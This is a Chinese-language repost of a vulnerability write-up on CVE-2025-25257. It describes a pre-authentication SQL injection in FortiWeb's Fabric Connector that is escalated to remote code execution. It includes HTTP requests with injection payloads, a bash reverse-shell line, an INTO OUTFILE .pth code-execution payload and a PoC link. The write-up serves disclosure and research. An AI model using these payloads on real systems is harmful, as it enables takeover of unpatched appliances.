预授权 SQL 注入至 RCE – Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

原文链接: https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531904&idx=1&sn=a6e51b35fcb2e9e06f4f4895864fe053

预授权 SQL 注入至 RCE – Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

Ots安全 2025-07-20 05:11

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

CVE-2025-25257描述如下:

“GUI 中的未经身份验证的 SQL 注入 – FortiWeb 中的 SQL 命令(“SQL 注入”)漏洞 [CWE-89] 中使用的特殊元素的不当中和可能允许未经身份验证的攻击者通过精心设计的 HTTP 或 HTTPs 请求执行未经授权的 SQL 代码或命令。”

以下版本的 FortiWeb 受到影响:

版本
受影响
解决方案
FortiWeb 7.6 7.6.0 至 7.6.3 升级到 7.6.4 或更高版本
FortiWeb 7.4 7.4.0至7.4.7 升级到 7.4.8 或更高版本
FortiWeb 7.2 7.2.0 至 7.2.10 升级到 7.2.11 或更高版本
FortiWeb 7.0 7.0.0 至 7.0.10 升级到 7.0.11 或更高版本

深入探索

许多人都熟悉,当我们重建 N-day 时,我们通常会比较二进制文件,以便我们快速确定发生了什么变化,并希望快速识别我们正在寻找的“变化”。

为了本研究的目的,我们对/bin/httpsd以下版本进行了区分;
– 版本 7.6.3

  • 版本 7.6.4

我们想花几秒钟时间介绍一下“供应商负责”补丁行为的现状。我们提出了这个概念,其基本前提是供应商最终会采取符合客户最佳利益的行动。我们希望它能够流行起来。

对于那些不熟悉的人来说,已经发生了转变——供应商似乎在他们的解决方案中保留关键的、未经验证的漏洞,直到他们积累了足够多的微小的、毫无意义的改变——试图有效地将安全修复埋没在一连串的废话中。

例如:

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

无论如何,这些尝试都是徒劳的,并且反映了其 SDLC 流程中根深蒂固的成熟度。

经过 7 年 Veeam(3 分钟)的时间,我们确定了以下函数(仍然带有符号!)get_fabric_user_by_token。

Diaphora 的差异输出如下所示(不用担心,我们会在进行过程中解释这一点,但它不是很漂亮吗?):

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

以下是易受攻击函数的相关部分。

问题是什么?典型的 SQL 注入,这个漏洞非常复杂,以至于我们作为一个行业,仍在努力寻找解决方案。

在这种情况下,复杂性在于攻击者控制的输入直接放入 SQL 查询中,而无需进行清理或转义。

__int64 __fastcall get_fabric_user_by_token(constchar *a1)
{
unsignedint v1; // ebx
  __int128 v3; // [rsp+0h] [rbp-4B0h] BYREF
  __int64 v4; // [rsp+10h] [rbp-4A0h]
  _BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF
  __int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]
  __int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]
void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]
  __int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]
void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]
char s[16]; // [rsp+80h] [rbp-430h] BYREF
  _BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF
unsigned __int64 v13; // [rsp+488h] [rbp-28h]

  v13 = __readfsqword(0x28u);
  *(_OWORD *)s = 0;
memset(v12, 0, sizeof(v12));
if ( a1 && *a1 )
  {
    init_ml_db_obj((__int64)v5);
    v1 = v6(v5);
    if ( !v1 )
    {
    
      **// VULN
      snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);**
      
      
      v1 = v7(v5, s);
      if ( !v1 )
      {
        v4 = 0;
        v3 = 0;
        v1 = v9(v5, &v3);
        if ( !v1 )
        {
          if ( (_DWORD)v3 == 1 )
          {
            v10(&v3);
          }
          else
          {
            v10(&v3);
            v1 = -3;
          }
        }
      }
    }
    v8(v5);
  }
else
  {
    return (unsignedint)-1;
  }
return v1;
}

该函数的新版本用准备好的语句替换了以前的格式字符串查询 – 这是防止直接 SQL 注入的合理尝试。

让我们仔细看看更新后的查询是如何工作的:

v1 = mysql_stmt_init(v9[0]);
  v2 = v1;
  if ( !v1 )
    goto LABEL_14;
  if ( (unsignedint)mysql_stmt_prepare(v1, "SELECT id FROM fabric_user.user_table WHERE token = ?", 53) )
    goto LABEL_13;

太神奇了!Fortinet 一直走在前沿,我们很荣幸能够实时见证这些创新。

在继续之前,让我们快速重新审视一下“Fabric Connector”在 FortiWeb 上下文中的实际含义——至少根据 Fortinet 自己的文档。

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

get_fabric_user_by_token当尝试向 FortiWeb API 进行身份验证以进行集成时,外部 Fortinet 产品(例如 FortiGate 设备)似乎可以调用有问题的函数。

现在,您可能会想:我们如何才能真正实现“Fabric Connector”功能?

快速查看httpd.conf正在运行的 Apache 服务器,可以发现以下路由:

[..SNIP..]

<Location &#34;/api/fabric/device/status&#34;>
    SetHandler fabric_device_status-handler
</Location>

<Location &#34;/api/fabric/authenticate&#34;>
    SetHandler fabric_authenticate-handler
</Location>

<Location ~ &#34;/api/v[0-9]/fabric/widget&#34;>
    SetHandler fabric_widget-handler
</Location>

[..SNIP..]

有趣的是——我们有多个引用的路由fabric。但这是否意味着所有路由都能到达我们的主要嫌疑人:那个get_fabric_user_by_token函数?只有一种方法可以找到答案。

让我们看一下交叉引用,以便get_fabric_user_by_token准确了解它的调用方式。下图提供了调用路径的有用概述:

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

以下是另一种观点:

   [sub_55ED2EED05F0]──┐
                       │
   [sub_55ED2EED3170]──┼──► [fabric_access_check] ──► [_fabric_access_check] ──► [get_fabric_user_by_token]
                       │
   [sub_55ED2EED3270]──┘

以下三个函数最终调用fabric_access_check,进而调用我们感兴趣的函数get_fabric_user_by_token:

sub_55ED2EED05F0 --> /api/fabric/device/status
sub_55ED2EED3170 --> /api/v[0-9]/fabric/widget/[a-z]+
sub_55ED2EED3270 --> /api/v[0-9]/fabric/widget

快速检查这些函数,确认它们与我们之前看到的路由直接相关。那么,我们可以使用其中任何一条路由来访问我们的漏洞函数吗?

好问题。答案是肯定的。

让我们仔细看看以下函数:

sub_55ED2EED05F0 --> /api/fabric/device/status

马上——在 [1] 处——这个函数最先调用的是fabric_access_check。这是一个充满希望的开始!

__int64 __fastcall sub_55ED2EED05F0(__int64 a1)
{
constchar *v2; // rdi
unsignedint v3; // r13d
  __int64 v5; // r12
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // r14
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // r14
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rdx
  __int64 v18; // rcx
  __int64 v19; // r14
  __int64 v20; // rax
constchar *v21; // rax
size_t v22; // rax
constchar *v23; // rax

  v2 = *(constchar **)(a1 + 296);
if ( !v2 )
    return (unsignedint)-1;
  v3 = strcmp(v2, &#34;fabric_device_status-handler&#34;);
if ( v3 )
  {
    return (unsignedint)-1;
  }
elseif ( (unsignedint)fabric_access_check(a1) ) // [1]
  {
    v5 = json_object_new_object(a1);
    v6 = json_object_new_string(nCfg_debug_zone + 4888LL);
    json_object_object_add(v5, &#34;serial&#34;, v6);
    v7 = json_object_new_string(&#34;fortiweb&#34;);
    json_object_object_add(v5, &#34;device_type&#34;, v7);
    v8 = json_object_new_string(&#34;FortiWeb-VM&#34;);
    json_object_object_add(v5, &#34;model&#34;, v8);
    v9 = json_object_new_object(v5);
    v10 = json_object_new_int(7);
    json_object_object_add(v9, &#34;major&#34;, v10);
    v11 = json_object_new_int(6);
    json_object_object_add(v9, &#34;minor&#34;, v11);
    v12 = json_object_new_int(3);
    json_object_object_add(v9, &#34;patch&#34;, v12);
    json_object_object_add(v5, &#34;version&#34;, v9);
    v13 = json_object_new_object(v5);
    v14 = json_object_new_int(1043);
    [..SNIP..]

好吧,现在是时候解释一下这个fabric_access_check函数到底起什么作用了。

非常简单。具体步骤如下:
– 在 [1] 处,Authorization从 HTTP 请求中提取标头并存储在v3变量中。

  • 在 [2] 处,__isoc23_sscanflibc 函数用于解析标头。它期望值以 (注意空格)开头Bearer,后跟最多 128 个字符——这些字符会被提取到 中v4。

  • 在 [3] 处,get_fabric_user_by_token使用 中存储的值进行调用v4。

__int64 __fastcall fabric_access_check(__int64 a1)
{
  __int64 v1; // rdi
  __int64 v2; // rax
  _OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF
char v5; // [rsp+80h] [rbp-20h]
unsigned __int64 v6; // [rsp+88h] [rbp-18h]

  v1 = *(_QWORD *)(a1 + 248);
  v6 = __readfsqword(0x28u);
  v5 = 0;
memset(v4, 0, sizeof(v4));
  v3 = apr_table_get(v1, &#34;Authorization&#34;); // [1]
if ( (unsignedint)__isoc23_sscanf(v2, &#34;Bearer %128s&#34;, v4) != 1 ) // [2]
    return0;
  v5 = 0;
if ( (unsignedint)fabric_user_db_init()
    || (unsignedint)refresh_fabric_user()
    || (unsignedint)get_fabric_user_by_token((constchar *)v4) ) // [3]
  {
    return0;
  }
else
  {
    return2 * (unsignedint)((unsignedint)update_fabric_user_expire_time_by_token((constchar *)v4) == 0);
  }
}

快速提醒一下 -get_fabric_user_by_token这是我们易受攻击的功能,攻击者控制的功能char *a1最终直接嵌入到 MySQL 查询中。

__int64 __fastcall get_fabric_user_by_token(constchar *a1)
{
unsignedint v1; // ebx
  __int128 v3; // [rsp+0h] [rbp-4B0h] BYREF
  __int64 v4; // [rsp+10h] [rbp-4A0h]
  _BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF
  __int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]
  __int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]
void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]
  __int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]
void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]
char s[16]; // [rsp+80h] [rbp-430h] BYREF
  _BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF
unsigned __int64 v13; // [rsp+488h] [rbp-28h]

  v13 = __readfsqword(0x28u);
  *(_OWORD *)s = 0;
memset(v12, 0, sizeof(v12));
if ( a1 && *a1 )
  {
    init_ml_db_obj((__int64)v5);
    v1 = v6(v5);
    if ( !v1 )
    {
    
      **// VULN
      snprintf(s, 0x400u, &#34;select id from fabric_user.user_table where token='%s'&#34;, a1);**
      
      [..SNIP..]

这意味着我们控制的输入——通过标题传递Authorization: Bearer %128s——最终会出现在以下 MySQL 查询中(使用示例值“watchTowr”(因为我们的想象力)):

**select id from fabric_user.user_table where token='watchTowr'**

现在,让我们来检验一下这个理论——我们将注入一个简单的SLEEP语句,看看它是否具有预期的效果。

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

对于那些在家跟随的人来说,这是原始的 HTTP 请求:

GET/api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA' or sleep(5)-- -'

等一下——为什么响应时间不是 5 秒?这……不符合我们的预期。

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

现在,对于那些想知道为什么上述注射不起作用的人(经验丰富的人已经知道),让我们重点回答这个问题。

我们在构建最终查询之后使用有效载荷设置了一个断点AAAAAA’ or sleep(5)– -‘。

断点命中——检查最后的查询发现了一些意想不到的事情。

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

如你所见,我们的单引号成功注入,但其后的所有内容都被悄无声息地删除了。这是 Fortinet 的功能吗?

或者,查询是否存在问题?

提醒一下,这里是将我们的受控输入插入查询之前的函数调用序列:

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

get_fabric_user_by_token当然,之前的一个调用是_fabric_access_check。让我们再一次回顾一下该代码,并仔细看看。

__int64 __fastcall fabric_access_check(__int64 a1)
{
  __int64 v1; // rdi
  __int64 v2; // rax
  _OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF
char v5; // [rsp+80h] [rbp-20h]
unsigned __int64 v6; // [rsp+88h] [rbp-18h]

  v1 = *(_QWORD *)(a1 + 248);
  v6 = __readfsqword(0x28u);
  v5 = 0;
memset(v4, 0, sizeof(v4));
  v2 = apr_table_get(v1, &#34;Authorization&#34;);
if ( (unsignedint)__isoc23_sscanf(v2, &#34;Bearer %128s&#34;, v2) != 1 )
    return0;
  v5 = 0;
if ( (unsignedint)fabric_user_db_init()
    || (unsignedint)refresh_fabric_user()
    || (unsignedint)get_fabric_user_by_token((constchar *)v4) )
  {
    return0;
  }
else
  {
    return2 * (unsignedint)((unsignedint)update_fabric_user_expire_time_by_token((constchar *)v4) == 0);
  }
}

现在明白了吗?非常简单。

这个__isoc23_sscanfC 函数用于提取我们的输入——根据其格式字符串,它会在第一个空格处停止读取。这意味着我们不能在注入的查询中包含空格。经典之作。

但当然,我们都已经存在了足够长的时间来记住过去的美好时光 – 以及古老的 MySQL 注释技巧:/**/。

是时候把它掸掉灰尘并看看它的实际效果了。

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

对于那些在家跟随的人来说,这是原始的 HTTP 请求:

GET/api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'

我们相信您也能感受到我们的喜悦:

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

现在让我们回到 80 年代(也称为现代 Fortinet),用经典的OR 1=1.

这让我们可以完全绕过令牌检查,如果您希望检测漏洞的存在而又不全力进行利用,那么这尤其方便:

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

对于那些在家跟随的人来说,这是原始的 HTTP 请求:

GET/api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA'or'1'='1

漂亮的200 OKHTTP 响应 – 确认我们的 SQL 注入成功并且令牌检查被绕过:

HTTP/1.1 200 OK
Date: Thu, 10 Jul 2025 17:20:09 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: Script-Src 'self', frame-ancestors 'self'; Object-Src 'self'; base-uri 'self';
X-Content-Type-Options: nosniff
Content-Length: 248
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: application/json

{ &#34;serial&#34;: &#34;FVVM00UNLICENSED&#34;, &#34;device_type&#34;: &#34;fortiweb&#34;, &#34;model&#34;: &#34;FortiWeb-VM&#34;, &#34;version&#34;: { &#34;major&#34;: 7, &#34;minor&#34;: 6, &#34;patch&#34;: 3 }, &#34;build&#34;: { &#34;number&#34;: 1043, &#34;release_life_cycle&#34;: &#34;GA&#34; }, &#34;hostname&#34;: &#34;FortiWeb&#34;, &#34;supported_api_versions&#34;: [ 1 ] }

为了提供帮助,这里是修补版本的请求/响应对:

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

HTTP 请求:

GET/api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA'or'1'='1

HTTP 响应:

HTTP/1.1401 Unauthorized
Date: Thu, 10 Jul 202517:20:50 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: script-src 'self'; default-src 'self'; style-src 'self''unsafe-inline'; font-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; upgrade-insecure-requests; block-all-mixed-content;
X-Content-Type-Options: nosniff
Content-Length: 0

注意:我们观察到通过我们的 CVE-2025-5777 分析创建的与漏洞检测相关的戏剧性和大规模 PR – 请放慢速度并保持冷静。

从预授权 SQLi 到预授权 RCE

预授权 SQLi 很有趣,但我们是否看起来像渗透测试顾问,在进入“报告时间”之前试图“验证”漏洞?

现在,有趣的过山车开始了——我们可以将这个 MySQL 注入升级为远程命令执行吗?

为了找到答案,我们打开了 MySQL 开发的古老卷轴,并重新审视一种历史悠久的技术:INTO OUTFILE语句。

作为快速复习,INTO OUTFILE它为我们提供了任意文件写入原语,允许我们将文件直接拖放到目标文件系统上。

甚至 MySQL 文档也这样描述它:

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

现在,使用时需要注意一个重要的事项INTO OUTFILE:该文件是以运行 MySQL 进程的用户权限写入的。众所周知,90% 的情况下,这个权限是mysql用户所为——当然,前提是没有出现任何配置错误。

哈哈哈哈哈哈。

好吧——让我们来一探究竟。

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

哎呀。平心而论,这种程度的细节并不在任何承诺中,那么 Fortinet 又怎么会知道呢?

所以,现在,在这个安全的平行宇宙中——我们仍然处于 80 年代,并且已经root通过 SQL 注入实现了任意文件写入。自然,下一步就是代码执行。

您可能会想:“只需放置一个 Webshell 即可。”而且,说实话,您完全正确。

事实证明,有一个方便cgi-bin我们写入的公开目录 – Apache 自己也httpd.conf对此进行了大声而清晰的支持:

[..SNIP..]

<IfModule alias_module>
    ScriptAlias /cgi-bin/ &#34;/migadmin/cgi-bin/&#34;
</IfModule>

<Directory &#34;/migadmin/cgi-bin&#34;>
    Options +ExecCGI
    SetHandler cgi-script
</Directory>

[..SNIP..]

因此,如果我们将文件放入cgi-bin并访问它们,我们就应该能够执行代码,对吗?

嗯——不完全是。

这些文件最终确实到达了正确的位置,但它们没有被标记为可执行文件。而且,我们也无法通过 SQL 注入来设置可执行位。这真是个死胡同?

还没有。

此时,您可能会这样说:

哈哈,为什么不直接覆盖现有的可执行文件呢?

好吧,亲爱的读者,正如我们之前提到的,INTO OUTFILEMySQL 不允许覆盖或追加到现有文件。语句运行时,文件必须不存在,否则会失败。所以……死路一条?

还是没有。

让我们发挥创造力——现在是时候仔细看看cgi-bin目录中已经存在的内容了:

bash-5.0# ls-la /migadmin/cgi-bin
drwxr-xr-x    2root     0             4096Jul1005:55 .
drwxr-xr-x   14root     0             4096Jul1005:49 ..
-rwxrwxrwx    1root     0          1499568Mar317:25fwbcgi
-rwxr-xr-x    1root     0             3475Mar317:25ml-draw.py

好吧好吧——你能看看那个吗?

里面就有一个 Python 文件cgi-bin,没错,我们可以浏览它,Apache 也会很乐意把它当作 CGI 脚本来执行。非常安全。没什么可看的。

但有趣的是:检查 Python 文件的 shebang 行会发现一些并不令人惊讶的东西 – 但对于接下来的内容非常有用。

#!/bin/python
import os
import sys
import cgi
import cgitb; cgitb.enable()

os.environ[ 'HOME' ] = '/tmp/'

import time
from datetime import datetime

import matplotlib
matplotlib.use( 'Agg' )

import pylab
form = cgi.FieldStorage()

[..SNIP..]]

Shebang 告诉我们,当执行此脚本时(每次访问文件时都会执行),它会使用 运行/bin/python。因此,每次有人访问此文件时,Python 都会启动。

你知道这是怎么回事吗?如果没有,别担心——这里有一个巧妙的技巧,当你遇到这种情况时,它已经流行了一段时间了。

值得称赞的是——SonarSource 的人们已经出色地记录了这个原语,因此我们将直接借用他们博客文章中的一句话:

Python 支持一项名为“站点特定配置钩子”的功能。其主要目的是将自定义路径添加到模块搜索路径。为此,可以将一个任意名称的 .pth 文件放入用户主目录下的 .local/lib/pythonX.Y/site-packages/ 文件夹中:

非常有用——特别是当任意文件写入遇到 Python 执行时。

user@host:~$ echo '/tmp' > ~/.local/lib/python3.10/site-packages/foo.pth

长话短说:如果您可以写入该目录并删除带有.pth扩展名的文件,Python 将会帮您完成剩下的工作。

具体来说,如果该文件中的任何行.pth以有效的 Python 代码开头import[SPACE]或import[TAB]后跟有效的 Python 代码,site.py则解析器(每次 Python 进程启动时执行)会说“啊,是的,我应该运行这行代码”。

如果您想深入了解这一点,我们再次强烈建议您阅读 SonarSource Research 的解释——他们比大多数人更好地涵盖了这一原语。

所以,计划很简单:
1. 将.pth包含 Python 代码的文件写入目录中site-packages,

  1. 扳机/cgi-bin/ml-draw.py。

  2. Apache 将启动/bin/python、site.py运行,并且我们的.pth文件将被拾取并执行——无需可执行位。

完美的。

但计划终究只是计划,我们真的能实现吗?

我们一开始很天真地尝试了以下查询:

'/**/or/**/1=1/**/UNION/**/SELECT/**/'import os;os.system(\\'ls\\')'/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/trigger.pth

这个想法很简单:import os;os.system(‘ls’)写入/var/log/lib/python3.10/site-packages/trigger.pth。

但当然,一些问题很快就浮现出来:
– 我们的有效载荷包含一个空格 – 正如我们已经确定的,它打破了调用%128s中的约束sscanf。

  • 更糟糕的是,总标题值现在完全超过了 128 个字符的限制。

好的——如果我们将路径缩短为类似这样的路径会怎么样/var/log/lib/python3.10/site-packages/a.pth?

这有一点帮助…但我们仍然被困在空间里import os。

为了解决这个问题,我们可以求助于 MySQL 工具箱中的一个老工具——UNHEX()函数。

UNHEX('41414141') --> AAAA

所以我们只需对有效载荷进行十六进制编码并将其写入文件?

如果生活真的那么简单就好了。

假设我们尝试一个反向shell有效载荷——像这样:

import os; os.system('bash -c &#34;/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1&#34;')

我们最终会得到这样的结果:

UNHEX('696d706f7274206f733b206f732e73797374656d282762617368202d6320222f62696e2f62617368202d69203e26202f6465762f7463702f312f3220303e2631222729')

不幸的是,这超出了最大输入限制。

沮丧之余,我们突然想到一个主意:与其一次性发射有效载荷,不如把它分解成多个部分?这样可行吗?

当然,MySQL 有一个众所周知的限制INTO OUTFILE——它只允许写入新文件。不支持追加,也不支持覆盖。每个文件路径只能写入一次。

但随后出现了转折:当然,我们仅限于INTO OUTFILE每个目标文件调用一次 – 但我们事先构建内容的方式不受限制。

那么,如果我们将有效载荷逐块存储到另一列中…然后要求 MySQL 将该列的值转储到文件中,会怎么样?

浏览的架构fabric_user.user_table,有一列立即脱颖而出:token完美。

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

类似这样的事会起作用吗?

Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/b.pth

但是再说一遍——上面的查询?137 个字节长。

看起来我们完蛋了,对吧?

当时我们有点沮丧。不过,我们也不是没有主意了。

如果我们使用通配符会怎么样?我们不提供完整路径,而是尝试了如下方法:

/var/log/lib/python3.10/site-*/

不幸的是,MySQL 又报了个错误 —— 它不支持通配符INTO OUTFILE。真可惜。

好的,新想法:如果我们使用相对路径而不是绝对路径会怎样?

好消息——成功了。

通过在查询中使用相对路径INTO OUTFILE,MySQL 会根据进程的工作目录来解析它——这与 Python 的 非常接近site-packages。我们使用了:

../../lib/python3.10/site-packages/x.pth

最终的有效载荷是什么?

'/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth'

总长度:127 字节。还剩一个字节。我们真幸运。

检测伪影生成器

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

POC地址

https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257

感谢您抽出

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

.

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

.

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

来阅读本文

预授权 SQL 注入至 RCE - Fortinet FortiWeb Fabric 连接器 (CVE-2025-25257)

点它,分享点赞在看都在这里